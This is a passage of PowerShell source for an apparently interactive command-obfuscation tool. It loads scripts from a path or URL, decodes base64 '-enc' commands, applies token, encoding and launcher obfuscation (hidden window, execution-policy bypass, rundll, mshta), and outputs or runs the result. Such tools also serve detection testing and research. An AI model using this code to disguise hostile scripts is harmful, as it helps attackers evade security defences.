($MenuName -ne '')) + { + $UserInput = 'home/' + $UserInput.Trim() + } + + # If current command contains \ or / and does not start with SET or OUT then we are dealing with a compound command. + # Setting $Script:CompounCommand in below IF block. + If(($Script:CompoundCommand.Count -eq 0) -AND !$UserInput.ToLower().StartsWith('set ') -AND !$UserInput.ToLower().StartsWith('out ') -AND ($UserInput.Contains('\') -OR $UserInput.Contains('/'))) + { + $Script:CompoundCommand = $UserInput.Split('/\') + } + + # If current command contains \ or / and does not start with SET then we are dealing with a compound command. + # Parsing out next command from $Script:CompounCommand in below IF block. + If($Script:CompoundCommand.Count -gt 0) + { + $UserInput = '' + While(($UserInput -eq '') -AND ($Script:CompoundCommand.Count -gt 0)) + { + # If last compound command then it will be a string. + If($Script:CompoundCommand.GetType().Name -eq 'String') + { + $NextCompoundCommand = $Script:CompoundCommand.Trim() + $Script:CompoundCommand = @() + } + Else + { + # If there are more commands left in compound command then it won't be a string (above IF block). + # In this else block we get the next command from CompoundCommand array. + $NextCompoundCommand = ([String]$Script:CompoundCommand[0]).Trim() + + # Set remaining commands back into CompoundCommand. + $Temp = $Script:CompoundCommand + $Script:CompoundCommand = @() + For($i=1; $i -lt $Temp.Count; $i++) + { + $Script:CompoundCommand += $Temp[$i] + } + } + $UserInput = $NextCompoundCommand + } + } + + # Handle new RegEx functionality. + # Identify if there is any regex in current UserInput by removing all alphanumeric characters (and + or # which are found in launcher names). + $TempUserInput = $UserInput.ToLower() + @(97..122) | ForEach-Object {$TempUserInput = $TempUserInput.Replace([String]([Char]$_),'')} + @(0..9) | ForEach-Object {$TempUserInput = $TempUserInput.Replace($_,'')} + $TempUserInput = $TempUserInput.Replace(' ','').Replace('+','').Replace('#','').Replace('\','').Replace('/','').Replace('-','').Replace('?','') + + If(($TempUserInput.Length -gt 0) -AND !($UserInput.Trim().ToLower().StartsWith('set ')) -AND !($UserInput.Trim().ToLower().StartsWith('out '))) + { + # Replace any simple wildcard with .* syntax. + $UserInput = $UserInput.Replace('.*','_____').Replace('*','.*').Replace('_____','.*') + + # Prepend UserInput with ^ and append with $ if not already there. + If(!$UserInput.Trim().StartsWith('^') -AND !$UserInput.Trim().StartsWith('.*')) + { + $UserInput = '^' + $UserInput + } + If(!$UserInput.Trim().EndsWith('$') -AND !$UserInput.Trim().EndsWith('.*')) + { + $UserInput = $UserInput + '$' + } + + # See if there are any filtered matches in the current menu. + Try + { + $MenuFiltered = ($Menu | Where-Object {($_[1].Trim() -Match $UserInput) -AND ($_[1].Trim().Length -gt 0)} | ForEach-Object {$_[1].Trim()}) + } + Catch + { + # Output error message if Regular Expression causes error in above filtering step. + # E.g. Using *+ instead of *[+] + Write-Host "`n`nERROR:" -NoNewLine -ForegroundColor Red + Write-Host ' The current Regular Expression caused the following error:' + write-host " $_" -ForegroundColor Red + } + + # If there are filtered matches in the current menu then randomly choose one for the UserInput value. + If($MenuFiltered -ne $NULL) + { + # Randomly select UserInput from filtered options. + $UserInput = (Get-Random -Input $MenuFiltered).Trim() + + # Output randomly chosen option (and filtered options selected from) if more than one option were returned from regex. + If($MenuFiltered.Count -gt 1) + { + # Change color and verbiage if acceptable options will execute an obfuscation function. + If($SelectionContainsCommand) + { + $ColorToOutput = 'Green' + } + Else + { + $ColorToOutput = 'Yellow' + } + + Write-Host "`n`nRandomly selected " -NoNewline + Write-Host $UserInput -NoNewline -ForegroundColor $ColorToOutput + write-host " from the following filtered options: " -NoNewline + + For($i=0; $i -lt $MenuFiltered.Count-1; $i++) + { + Write-Host $MenuFiltered[$i].Trim() -NoNewLine -ForegroundColor $ColorToOutput + Write-Host ', ' -NoNewLine + } + Write-Host $MenuFiltered[$MenuFiltered.Count-1].Trim() -NoNewLine -ForegroundColor $ColorToOutput + } + } + } + + # If $UserInput is all numbers and is in a menu in $MenusWithMultiSelectNumbers + $OverrideAcceptableInput = $FALSE + $MenusWithMultiSelectNumbers = @('\Launcher') + If(($UserInput.Trim(' 0123456789').Length -eq 0) -AND $BreadCrumb.Contains('\') -AND ($MenusWithMultiSelectNumbers -Contains $BreadCrumb.SubString(0,$BreadCrumb.LastIndexOf('\')))) + { + $OverrideAcceptableInput = $TRUE + } + + If($ExitInputOptions -Contains $UserInput.ToLower()) + { + Return $ExitInputOptions[0] + } + ElseIf($MenuInputOptions -Contains $UserInput.ToLower()) + { + # Commands like 'back' that will return user to previous interactive menu. + If($BreadCrumb.Contains('\')) {$UserInput = $BreadCrumb.SubString(0,$BreadCrumb.LastIndexOf('\')).Replace('\','_')} + Else {$UserInput = ''} + + Return $UserInput.ToLower() + } + ElseIf($HomeMenuInputOptions[0] -Contains $UserInput.ToLower()) + { + Return $UserInput.ToLower() + } + ElseIf($UserInput.ToLower().StartsWith('set ')) + { + # Extract $UserInputOptionName and $UserInputOptionValue from $UserInput SET command. + $UserInputOptionName = $NULL + $UserInputOptionValue = $NULL + $HasError = $FALSE + + $UserInputMinusSet = $UserInput.SubString(4).Trim() + If($UserInputMinusSet.IndexOf(' ') -eq -1) + { + $HasError = $TRUE + $UserInputOptionName = $UserInputMinusSet.Trim() + } + Else + { + $UserInputOptionName = $UserInputMinusSet.SubString(0,$UserInputMinusSet.IndexOf(' ')).Trim().ToLower() + $UserInputOptionValue = $UserInputMinusSet.SubString($UserInputMinusSet.IndexOf(' ')).Trim() + } + + # Validate that $UserInputOptionName is defined in $SettableInputOptions. + If($SettableInputOptions -Contains $UserInputOptionName) + { + # Perform separate validation for $UserInputOptionValue before setting value. Set to 'emptyvalue' if no value was entered. + If($UserInputOptionValue.Length -eq 0) {$UserInputOptionName = 'emptyvalue'} + Switch($UserInputOptionName.ToLower()) + { + 'scriptpath' { + If($UserInputOptionValue -AND ((Test-Path $UserInputOptionValue) -OR ($UserInputOptionValue -Match '(http|https)://'))) + { + # Reset ScriptBlock in case it contained a value. + $Script:ScriptBlock = '' + + # Check if user-input ScriptPath is a URL or a directory. + If($UserInputOptionValue -Match '(http|https)://') + { + # ScriptPath is a URL. + + # Download content. + $Script:ScriptBlock = (New-Object Net.WebClient).DownloadString($UserInputOptionValue) + + # Set script-wide variables for future reference. + $Script:ScriptPath = $UserInputOptionValue + $Script:ObfuscatedCommand = $Script:ScriptBlock + $Script:ObfuscatedCommandHistory = @() + $Script:ObfuscatedCommandHistory += $Script:ScriptBlock + $Script:CliSyntax = @() + $Script:ExecutionCommands = @() + $Script:LauncherApplied = $FALSE + + Write-Host "`n`nSuccessfully set ScriptPath (as URL):" -ForegroundColor Cyan + Write-Host $Script:ScriptPath -ForegroundColor Magenta + } + ElseIf ((Get-Item $UserInputOptionValue) -is [System.IO.DirectoryInfo]) + { + # ScriptPath does not exist. + Write-Host "`n`nERROR:" -NoNewLine -ForegroundColor Red + Write-Host ' Path is a directory instead of a file (' -NoNewLine + Write-Host "$UserInputOptionValue" -NoNewLine -ForegroundColor Cyan + Write-Host ").`n" -NoNewLine + } + Else + { + # Read contents from user-input ScriptPath value. + Get-ChildItem $UserInputOptionValue -ErrorAction Stop | Out-Null + $Script:ScriptBlock = [IO.File]::ReadAllText((Resolve-Path $UserInputOptionValue)) + + # Set script-wide variables for future reference. + $Script:ScriptPath = $UserInputOptionValue + $Script:ObfuscatedCommand = $Script:ScriptBlock + $Script:ObfuscatedCommandHistory = @() + $Script:ObfuscatedCommandHistory += $Script:ScriptBlock + $Script:CliSyntax = @() + $Script:ExecutionCommands = @() + $Script:LauncherApplied = $FALSE + + Write-Host "`n`nSuccessfully set ScriptPath:" -ForegroundColor Cyan + Write-Host $Script:ScriptPath -ForegroundColor Magenta + } + } + Else + { + # ScriptPath not found (failed Test-Path). + Write-Host "`n`nERROR:" -NoNewLine -ForegroundColor Red + Write-Host ' Path not found (' -NoNewLine + Write-Host "$UserInputOptionValue" -NoNewLine -ForegroundColor Cyan + Write-Host ").`n" -NoNewLine + } + } + 'scriptblock' { + # Remove evenly paired {} '' or "" if user includes it around their scriptblock input. + ForEach($Char in @(@('{','}'),@('"','"'),@("'","'"))) + { + While($UserInputOptionValue.StartsWith($Char[0]) -AND $UserInputOptionValue.EndsWith($Char[1])) + { + $UserInputOptionValue = $UserInputOptionValue.SubString(1,$UserInputOptionValue.Length-2).Trim() + } + } + + # Check if input is PowerShell encoded command syntax so we can decode for scriptblock. + If($UserInputOptionValue -Match 'powershell(.exe | )\s*-(e |ec |en |enc |enco |encod |encode)\s*["'']*[a-z=]') + { + # Extract encoded command. + $EncodedCommand = $UserInputOptionValue.SubString($UserInputOptionValue.ToLower().IndexOf(' -e')+3) + $EncodedCommand = $EncodedCommand.SubString($EncodedCommand.IndexOf(' ')).Trim(" '`"") + + # Decode Unicode-encoded $EncodedCommand + $UserInputOptionValue = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($EncodedCommand)) + } + + # Set script-wide variables for future reference. + $Script:ScriptPath = 'N/A' + $Script:ScriptBlock = $UserInputOptionValue + $Script:ObfuscatedCommand = $UserInputOptionValue + $Script:ObfuscatedCommandHistory = @() + $Script:ObfuscatedCommandHistory += $UserInputOptionValue + $Script:CliSyntax = @() + $Script:ExecutionCommands = @() + $Script:LauncherApplied = $FALSE + + Write-Host "`n`nSuccessfully set ScriptBlock:" -ForegroundColor Cyan + Write-Host $Script:ScriptBlock -ForegroundColor Magenta + } + 'emptyvalue' { + # No OPTIONVALUE was entered after OPTIONNAME. + $HasError = $TRUE + Write-Host "`n`nERROR:" -NoNewLine -ForegroundColor Red + Write-Host ' No value was entered after' -NoNewLine + Write-Host ' SCRIPTBLOCK/SCRIPTPATH' -NoNewLine -ForegroundColor Cyan + Write-Host '.' -NoNewLine + } + default {Write-Error "An invalid OPTIONNAME ($UserInputOptionName) was passed to switch block."; Exit} + } + } + Else + { + $HasError = $TRUE + Write-Host "`n`nERROR:" -NoNewLine -ForegroundColor Red + Write-Host ' OPTIONNAME' -NoNewLine + Write-Host " $UserInputOptionName" -NoNewLine -ForegroundColor Cyan + Write-Host " is not a settable option." -NoNewLine + } + + If($HasError) + { + Write-Host "`n Correct syntax is" -NoNewLine + Write-Host ' SET OPTIONNAME VALUE' -NoNewLine -ForegroundColor Green + Write-Host '.' -NoNewLine + + Write-Host "`n Enter" -NoNewLine + Write-Host ' SHOW OPTIONS' -NoNewLine -ForegroundColor Yellow + Write-Host ' for more details.' + } + } + ElseIf(($AcceptableInput -Contains $UserInput) -OR ($OverrideAcceptableInput)) + { + # User input matches $AcceptableInput extracted from the current $Menu, so decide if: + # 1) an obfuscation function needs to be called and remain in current interactive prompt, or + # 2) return value to enter into a new interactive prompt. + + # Format breadcrumb trail to successfully retrieve the next interactive prompt. + $UserInput = $BreadCrumb.Trim('\').Replace('\','_') + '_' + $UserInput + If($BreadCrumb.StartsWith('\')) {$UserInput = '_' + $UserInput} + + # If the current selection contains a command to execute then continue. Otherwise return to go to another menu. + If($SelectionContainsCommand) + { + # Make sure user has entered command or path to script. + If($Script:ObfuscatedCommand -ne $NULL) + { + # Iterate through lines in $Menu to extract command for the current selection in $UserInput. + ForEach($Line in $Menu) + { + If($Line[1].Trim(' ') -eq $UserInput.SubString($UserInput.LastIndexOf('_')+1)) {$CommandToExec = $Line[3]; Continue} + } + + If(!$OverrideAcceptableInput) + { + # Extract arguments from $CommandToExec. + $Function = $CommandToExec[0] + $Token = $CommandToExec[1] + $ObfLevel = $CommandToExec[2] + } + Else + { + # Overload above arguments if $OverrideAcceptableInput is $TRUE, and extract $Function from $BreadCrumb + Switch($BreadCrumb.ToLower()) + { + '\launcher\ps' {$Function = 'Out-PowerShellLauncher'; $ObfLevel = 1} + '\launcher\cmd' {$Function = 'Out-PowerShellLauncher'; $ObfLevel = 2} + '\launcher\wmic' {$Function = 'Out-PowerShellLauncher'; $ObfLevel = 3} + '\launcher\rundll' {$Function = 'Out-PowerShellLauncher'; $ObfLevel = 4} + '\launcher\var+' {$Function = 'Out-PowerShellLauncher'; $ObfLevel = 5} + '\launcher\stdin+' {$Function = 'Out-PowerShellLauncher'; $ObfLevel = 6} + '\launcher\clip+' {$Function = 'Out-PowerShellLauncher'; $ObfLevel = 7} + '\launcher\var++' {$Function = 'Out-PowerShellLauncher'; $ObfLevel = 8} + '\launcher\stdin++' {$Function = 'Out-PowerShellLauncher'; $ObfLevel = 9} + '\launcher\clip++' {$Function = 'Out-PowerShellLauncher'; $ObfLevel = 10} + '\launcher\rundll++' {$Function = 'Out-PowerShellLauncher'; $ObfLevel = 11} + '\launcher\mshta++' {$Function = 'Out-PowerShellLauncher'; $ObfLevel = 12} + default {Write-Error "An invalid value ($($BreadCrumb.ToLower())) was passed to switch block for setting `$Function when `$OverrideAcceptableInput -eq `$TRUE."; Exit} + } + # Extract $ObfLevel from first element in array (in case 0th element is used for informational purposes), and extract $Token from $BreadCrumb. + $ObfLevel = $Menu[1][3][2] + $Token = $UserInput.SubString($UserInput.LastIndexOf('_')+1) + } + + # Convert ObfuscatedCommand (string) to ScriptBlock for next obfuscation function. + If(!($Script:LauncherApplied)) + { + $ObfCommandScriptBlock = $ExecutionContext.InvokeCommand.NewScriptBlock($Script:ObfuscatedCommand) + } + + # Validate that user has set SCRIPTPATH or SCRIPTBLOCK (by seeing if $Script:ObfuscatedCommand is empty). + If($Script:ObfuscatedCommand -eq '') + { + Write-Host "`n`nERROR:" -NoNewLine -ForegroundColor Red + Write-Host " Cannot execute obfuscation commands without setting ScriptPath or ScriptBlock values in SHOW OPTIONS menu. Set these by executing" -NoNewLine + Write-Host ' SET SCRIPTBLOCK script_block_or_command' -NoNewLine -ForegroundColor Green + Write-Host ' or' -NoNewLine + Write-Host ' SET SCRIPTPATH path_to_script_or_URL' -NoNewLine -ForegroundColor Green + Write-Host '.' + Continue + } + + # Save current ObfuscatedCommand to see if obfuscation was successful (i.e. no warnings prevented obfuscation from occurring). + $ObfuscatedCommandBefore = $Script:ObfuscatedCommand + $CmdToPrint = $NULL + + If($Script:LauncherApplied) + { + If($Function -eq 'Out-PowerShellLauncher') + { + $ErrorMessage = ' You have already applied a launcher to ObfuscatedCommand.' + } + Else + { + $ErrorMessage = ' You cannot obfuscate after applying a Launcher to ObfuscatedCommand.' + } + + Write-Host "`n`nERROR:" -NoNewLine -ForegroundColor Red + Write-Host $ErrorMessage -NoNewLine + Write-Host "`n Enter" -NoNewLine + Write-Host ' UNDO' -NoNewLine -ForegroundColor Yellow + Write-Host " to remove the launcher from ObfuscatedCommand.`n" -NoNewLine + } + Else + { + # Switch block to route to the correct function. + Switch($Function) + { + 'Out-ObfuscatedTokenCommand' { + $Script:ObfuscatedCommand = Out-ObfuscatedTokenCommand -ScriptBlock $ObfCommandScriptBlock $Token $ObfLevel + $CmdToPrint = @("Out-ObfuscatedTokenCommand -ScriptBlock "," '$Token' $ObfLevel") + } + 'Out-ObfuscatedTokenCommandAll' { + $Script:ObfuscatedCommand = Out-ObfuscatedTokenCommand -ScriptBlock $ObfCommandScriptBlock + $CmdToPrint = @("Out-ObfuscatedTokenCommand -ScriptBlock ","") + } + 'Out-ObfuscatedStringCommand' { + $Script:ObfuscatedCommand = Out-ObfuscatedStringCommand -ScriptBlock $ObfCommandScriptBlock $ObfLevel + $CmdToPrint = @("Out-ObfuscatedStringCommand -ScriptBlock "," $ObfLevel") + } + 'Out-EncodedAsciiCommand' { + $Script:ObfuscatedCommand = Out-EncodedAsciiCommand -ScriptBlock $ObfCommandScriptBlock -PassThru + $CmdToPrint = @("Out-EncodedAsciiCommand -ScriptBlock "," -PassThru") + } + 'Out-EncodedHexCommand' { + $Script:ObfuscatedCommand = Out-EncodedHexCommand -ScriptBlock $ObfCommandScriptBlock -PassThru + $CmdToPrint = @("Out-EncodedHexCommand -ScriptBlock "," -PassThru") + } + 'Out-EncodedOctalCommand' { + $Script:ObfuscatedCommand = Out-EncodedOctalCommand -ScriptBlock $ObfCommandScriptBlock -PassThru + $CmdToPrint = @("Out-EncodedOctalCommand -ScriptBlock "," -PassThru") + } + 'Out-EncodedBinaryCommand' { + $Script:ObfuscatedCommand = Out-EncodedBinaryCommand -ScriptBlock $ObfCommandScriptBlock -PassThru + $CmdToPrint = @("Out-EncodedBinaryCommand -ScriptBlock "," -PassThru") + } + 'Out-SecureStringCommand' { + $Script:ObfuscatedCommand = Out-SecureStringCommand -ScriptBlock $ObfCommandScriptBlock -PassThru + $CmdToPrint = @("Out-SecureStringCommand -ScriptBlock "," -PassThru") + } + 'Out-EncodedBXORCommand' { + $Script:ObfuscatedCommand = Out-EncodedBXORCommand -ScriptBlock $ObfCommandScriptBlock -PassThru + $CmdToPrint = @("Out-EncodedBXORCommand -ScriptBlock "," -PassThru") + } + 'Out-PowerShellLauncher' { + # Extract numbers from string so we can output proper flag syntax in ExecutionCommands history. + $SwitchesAsStringArray = [char[]]$Token | Sort-Object -Unique | Where-Object {$_ -ne ' '} + + If($SwitchesAsStringArray -Contains '0') + { + $CmdToPrint = @("Out-PowerShellLauncher -ScriptBlock "," $ObfLevel") + } + Else + { + $HasWindowStyle = $FALSE + $SwitchesToPrint = @() + ForEach($Value in $SwitchesAsStringArray) + { + Switch($Value) + { + 1 {$SwitchesToPrint += '-NoExit'} + 2 {$SwitchesToPrint += '-NonInteractive'} + 3 {$SwitchesToPrint += '-NoLogo'} + 4 {$SwitchesToPrint += '-NoProfile'} + 5 {$SwitchesToPrint += '-Command'} + 6 {If(!$HasWindowStyle) {$SwitchesToPrint += '-WindowStyle Hidden'; $HasWindowStyle = $TRUE}} + 7 {$SwitchesToPrint += '-ExecutionPolicy Bypass'} + 8 {$SwitchesToPrint += '-Wow64'} + default {Write-Error "An invalid `$SwitchesAsString value ($Value) was passed to switch block."; Exit;} + } + } + $SwitchesToPrint = $SwitchesToPrint -Join ' ' + $CmdToPrint = @("Out-PowerShellLauncher -ScriptBlock "," $SwitchesToPrint $ObfLevel") + } + + $Script:ObfuscatedCommand = Out-PowerShellLauncher -ScriptBlock $ObfCommandScriptBlock -SwitchesAsString $Token $ObfLevel + + # Only set LauncherApplied to true if before/after are different (i.e. no warnings prevented launcher from being applied). + If($ObfuscatedCommandBefore -ne $Script:ObfuscatedCommand) + { + $Script:LauncherApplied = $TRUE + } + } + default {Write-Error "An invalid `$Function value ($Function) was passed to switch block."; Exit;} + } + + If(($Script:ObfuscatedCommand -ceq $ObfuscatedCommandBefore) -AND ($MenuName.StartsWith('_Token_'))) + { + Write-Host "`nWARNING:" -NoNewLine -ForegroundColor Red + Write-Host " There were not any" -NoNewLine + If($BreadCrumb.SubString($BreadCrumb.LastIndexOf('\')+1).ToLower() -ne 'all') {Write-Host " $($BreadCrumb.SubString($BreadCrumb.LastIndexOf('\')+1))" -NoNewLine -ForegroundColor Yellow} + Write-Host " tokens to further obfuscate, so nothing changed." + } + Else + { + # Add to $Script:ObfuscatedCommandHistory if a change took place for the current ObfuscatedCommand. + $Script:ObfuscatedCommandHistory += , $Script:ObfuscatedCommand + + # Convert UserInput to CLI syntax to store in CliSyntax variable if obfuscation occurred. + $CliSyntaxCurrentCommand = $UserInput.Trim('_ ').Replace('_','\') + + # Add CLI command syntax to $Script:CliSyntax to maintain a history of commands to arrive at current obfuscated command for CLI syntax. + $Script:CliSyntax += $CliSyntaxCurrentCommand + + # Add execution syntax to $Script:ExecutionCommands to maintain a history of commands to arrive at current obfuscated command. + $Script:ExecutionCommands += ($CmdToPrint[0] + '$ScriptBlock' + $CmdToPrint[1]) + + # Output syntax of CLI syntax and full command we executed in above Switch block. + Write-Host "`nExecuted:`t" + Write-Host " CLI: " -NoNewline + Write-Host $CliSyntaxCurrentCommand -ForegroundColor Cyan + Write-Host " FULL: " -NoNewline + Write-Host $CmdToPrint[0] -NoNewLine -ForegroundColor Cyan + Write-Host '$ScriptBlock' -NoNewLine -ForegroundColor Magenta + Write-Host $CmdToPrint[1] -ForegroundColor Cyan + + # Output obfuscation result. + Write-Host "`nResult:`t" + Out-ScriptContents $Script:ObfuscatedCommand -PrintWarning + } + } + } + } + Else + { + Return $UserInput + } + } + Else + { + If ($MenuInputOptionsShowHelp[0] -Contains $UserInput) {Show-HelpMenu} + ElseIf($MenuInputOptionsShowOptions[0] -Contains $UserInput) {Show-OptionsMenu} + ElseIf($TutorialInputOptions[0] -Contains $UserInput) {Show-Tutorial} + ElseIf($ClearScreenInputOptions[0] -Contains $UserInput) {Clear-Host} + # For Version 1.0 ASCII art is not necessary. + #ElseIf($ShowAsciiArtInputOptions[0] -Contains $UserInput) {Show-AsciiArt -Random} + ElseIf($ResetObfuscationInputOptions[0] -Contains $UserInput) + { + If(($Script:ObfuscatedCommand -ne $NULL) -AND ($Script:ObfuscatedCommand.Length -eq 0)) + { + Write-Host "`n`nWARNING:" -NoNewLine -ForegroundColor Red + Write-Host " ObfuscatedCommand has not been set. There is nothing to reset." + } + ElseIf($Script:ObfuscatedCommand -ceq $Script:ScriptBlock) + { + Write-Host "`n`nWARNING:" -NoNewLine -ForegroundColor Red + Write-Host " No obfuscation has been applied to ObfuscatedCommand. There is nothing to reset." + } + Else + { + $Script:LauncherApplied = $FALSE + $Script:ObfuscatedCommand = $Script:ScriptBlock + $Script:ObfuscatedCommandHistory = @($Script:ScriptBlock) + $Script:CliSyntax = @() + $Script:ExecutionCommands = @() + + Write-Host "`n`nSuccessfully reset ObfuscatedCommand." -ForegroundColor Cyan + } + } + ElseIf($UndoObfuscationInputOptions[0] -Contains $UserInput) + { + If(($Script:ObfuscatedCommand -ne $NULL) -AND ($Script:ObfuscatedCommand.Length -eq 0)) + { + Write-Host "`n`nWARNING:" -NoNewLine -ForegroundColor Red + Write-Host " ObfuscatedCommand has not been set. There is nothing to undo." + } + ElseIf($Script:ObfuscatedCommand -ceq $Script:ScriptBlock) + { + Write-Host "`n`nWARNING:" -NoNewLine -ForegroundColor Red + Write-Host " No obfuscation has been applied to ObfuscatedCommand. There is nothing to undo." + } + Else + { + # Set ObfuscatedCommand to the last state in ObfuscatedCommandHistory. + $Script:ObfuscatedCommand = $Script:ObfuscatedCommandHistory[$Script:ObfuscatedCommandHistory.Count-2] + + # Remove the last state from ObfuscatedCommandHistory. + $Temp = $Script:ObfuscatedCommandHistory + $Script:ObfuscatedCommandHistory = @() + For($i=0; $i -lt $Temp.Count-1; $i++) + { + $Script:ObfuscatedCommandHistory += $Temp[$i] + } + + # Remove last command from CliSyntax. Trim all trailing OUT or CLIP commands until an obfuscation command is removed. + $CliSyntaxCount = $Script:CliSyntax.Count + While(($Script:CliSyntax[$CliSyntaxCount-1] -Match '^(clip|out )') -AND ($CliSyntaxCount -gt 0)) + { + $CliSyntaxCount-- + } + $Temp = $Script:CliSyntax + $Script:CliSyntax = @() + For($i=0; $i -lt $CliSyntaxCount-1; $i++) + { + $Script:CliSyntax += $Temp[$i] + } + + # Remove last command from ExecutionCommands. + $Temp = $Script:ExecutionCommands + $Script:ExecutionCommands = @() + For($i=0; $i -lt $Temp.Count-1; $i++) + { + $Script:ExecutionCommands += $Temp[$i] + } + + # If this is removing a launcher then we must change the launcher state so we can continue obfuscating. + If($Script:LauncherApplied) + { + $Script:LauncherApplied = $FALSE + Write-Host "`n`nSuccessfully removed launcher from ObfuscatedCommand." -ForegroundColor Cyan + } + Else + { + Write-Host "`n`nSuccessfully removed last obfuscation from ObfuscatedCommand." -ForegroundColor Cyan + } + } + } + ElseIf(($OutputToDiskInputOptions[0] -Contains $UserInput) -OR ($OutputToDiskInputOptions[0] -Contains $UserInput.Trim().Split(' ')[0])) + { + If(($Script:ObfuscatedCommand -ne '') -AND ($Script:ObfuscatedCommand -ceq $Script:ScriptBlock)) + { + Write-Host "`n`nWARNING:" -NoNewLine -ForegroundColor Red + Write-Host " You haven't applied any obfuscation.`n Just enter" -NoNewLine + Write-Host " SHOW OPTIONS" -NoNewLine -ForegroundColor Yellow + Write-Host " and look at ObfuscatedCommand." + } + ElseIf($Script:ObfuscatedCommand -ne '') + { + # Get file path information from compound user input (e.g. OUT C:\FILENAME.TXT). + If($UserInput.Trim().Split(' ').Count -gt 1) + { + # Get file path information from user input. + $UserInputOutputFilePath = $UserInput.Trim().SubString(4).Trim() + Write-Host '' + } + Else + { + # Get file path information from user interactively. + $UserInputOutputFilePath = Read-Host "`n`nEnter path for output file (or leave blank for default)" + } + # Decipher if user input a full file path, just a file name or nothing (default). + If($UserInputOutputFilePath.Trim() -eq '') + { + # User did not input anything so use default filename and current directory of this script. + $OutputFilePath = "$ScriptDir\Obfuscated_Command.txt" + } + ElseIf(!($UserInputOutputFilePath.Contains('\')) -AND !($UserInputOutputFilePath.Contains('/'))) + { + # User input is not a file path so treat it as a filename and use current directory of this script. + $OutputFilePath = "$ScriptDir\$($UserInputOutputFilePath.Trim())" + } + Else + { + # User input is a full file path. + $OutputFilePath = $UserInputOutputFilePath + } + + # Write ObfuscatedCommand out to disk. + Write-Output $Script:ObfuscatedCommand > $OutputFilePath + + If($Script:LauncherApplied -AND (Test-Path $OutputFilePath)) + { + $Script:CliSyntax += "out $OutputFilePath" + Write-Host "`nSuccessfully output ObfuscatedCommand to" -NoNewLine -ForegroundColor Cyan + Write-Host " $OutputFilePath" -NoNewLine -ForegroundColor Yellow + Write-Host ".`nA Launcher has been applied so this script cannot be run as a standalone .ps1 file." -ForegroundColor Cyan +C:\Windows\Notepad.exe $OutputFilePath + } + ElseIf(!$Script:LauncherApplied -AND (Test-Path $OutputFilePath)) + { + $Script:CliSyntax += "out $OutputFilePath" + Write-Host "`nSuccessfully output ObfuscatedCommand to" -NoNewLine -ForegroundColor Cyan + Write-Host " $OutputFilePath" -NoNewLine -ForegroundColor Yellow + Write-Host "." -ForegroundColor Cyan +C:\Windows\Notepad.exe $OutputFilePath + } + Else + { + Write-Host "`nERROR: Unable to write ObfuscatedCommand out to" -NoNewLine -ForegroundColor Red + Write-Host " $OutputFilePath" -NoNewLine -ForegroundColor Yellow + } + } + ElseIf($Script:ObfuscatedCommand -eq '') + { + Write-Host "`n`nERROR:" -NoNewLine -ForegroundColor Red + Write-Host " There isn't anything to write out to disk.`n Just enter" -NoNewLine + Write-Host " SHOW OPTIONS" -NoNewLine -ForegroundColor Yellow + Write-Host " and look at ObfuscatedCommand." + } + } + ElseIf($CopyToClipboardInputOptions[0] -Contains $UserInput) + { + If(($Script:ObfuscatedCommand -ne '') -AND ($Script:ObfuscatedCommand -ceq $Script:ScriptBlock)) + { + Write-Host "`n`nWARNING:" -NoNewLine -ForegroundColor Red + Write-Host " You haven't applied any obfuscation.`n Just enter" -NoNewLine + Write-Host " SHOW OPTIONS" -NoNewLine -ForegroundColor Yellow + Write-Host " and look at ObfuscatedCommand." + } + ElseIf($Script:ObfuscatedCommand -ne '') + { + # Copy ObfuscatedCommand to clipboard. + # Try-Catch block introduced since PowerShell v2.0 without -STA defined will not be able to perform clipboard functionality. + Try + { + $Null = [Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms") + [Windows.Forms.Clipboard]::SetText($Script:ObfuscatedCommand) + + If($Script:LauncherApplied) + { + Write-Host "`n`nSuccessfully copied ObfuscatedCommand to clipboard." -ForegroundColor Cyan + } + Else + { + Write-Host "`n`nSuccessfully copied ObfuscatedCommand to clipboard.`nNo Launcher has been applied, so command can only be pasted into powershell.exe." -ForegroundColor Cyan + } + } + Catch + { + $ErrorMessage = "Clipboard functionality will not work in PowerShell version $($PsVersionTable.PsVersion.Major) unless you add -STA (Single-Threaded Apartment) execution flag to powershell.exe." + + If((Get-Command Write-Host).CommandType -ne 'Cmdlet') + { + # Retrieving Write-Host and Start-Sleep Cmdlets to get around the current proxy functions of Write-Host and Start-Sleep that are overloaded if -Quiet flag was used. + . ((Get-Command Write-Host) | Where-Object {$_.CommandType -eq 'Cmdlet'}) "`n`nWARNING: " -NoNewLine -ForegroundColor Red + . ((Get-Command Write-Host) | Where-Object {$_.CommandType -eq 'Cmdlet'}) $ErrorMessage -NoNewLine + + . ((Get-Command Start-Sleep) | Where-Object {$_.CommandType -eq 'Cmdlet'}) 2 + } + Else + { + Write-Host "`n`nWARNING: " -NoNewLine -ForegroundColor Red + Write-Host $ErrorMessage + + If($Script:CliSyntax -gt 0) {Start-Sleep 2} + } + } + + $Script:CliSyntax += 'clip' + } + ElseIf($Script:ObfuscatedCommand -eq '') + { + Write-Host "`n`nERROR:" -NoNewLine -ForegroundColor Red + Write-Host " There isn't anything to copy to your clipboard.`n Just enter" -NoNewLine + Write-Host " SHOW OPTIONS" -NoNewLine -ForegroundColor Yellow + Write-Host " and look at ObfuscatedCommand." -NoNewLine + } + + } + ElseIf($ExecutionInputOptions[0] -Contains $UserInput) + { + If($Script:LauncherApplied) + { + Write-Host "`n`nERROR:" -NoNewLine -ForegroundColor Red + Write-Host " Cannot execute because you have applied a Launcher.`n Enter" -NoNewLine + Write-Host " COPY" -NoNewLine -ForeGroundColor Yellow + Write-Host "/" -NoNewLine + Write-Host "CLIP" -NoNewLine -ForeGroundColor Yellow + Write-Host " and paste into cmd.exe.`n Or enter" -NoNewLine + Write-Host " UNDO" -NoNewLine -ForeGroundColor Yellow + Write-Host " to remove the Launcher from ObfuscatedCommand." + } + ElseIf($Script:ObfuscatedCommand -ne '') + { + If($Script:ObfuscatedCommand -ceq $Script:ScriptBlock) {Write-Host "`n`nInvoking (though you haven't obfuscated anything yet):"} + Else {Write-Host "`n`nInvoking:"} + + Out-ScriptContents $Script:ObfuscatedCommand + Write-Host '' + $null = Invoke-Expression $Script:ObfuscatedCommand + } + Else { + Write-Host "`n`nERROR:" -NoNewLine -ForegroundColor Red + Write-Host " Cannot execute because you have not set ScriptPath or ScriptBlock.`n Enter" -NoNewline + Write-Host " SHOW OPTIONS" -NoNewLine -ForegroundColor Yellow + Write-Host " to set ScriptPath or ScriptBlock." + } + } + Else + { + Write-Host "`n`nERROR:" -NoNewLine -ForegroundColor Red + 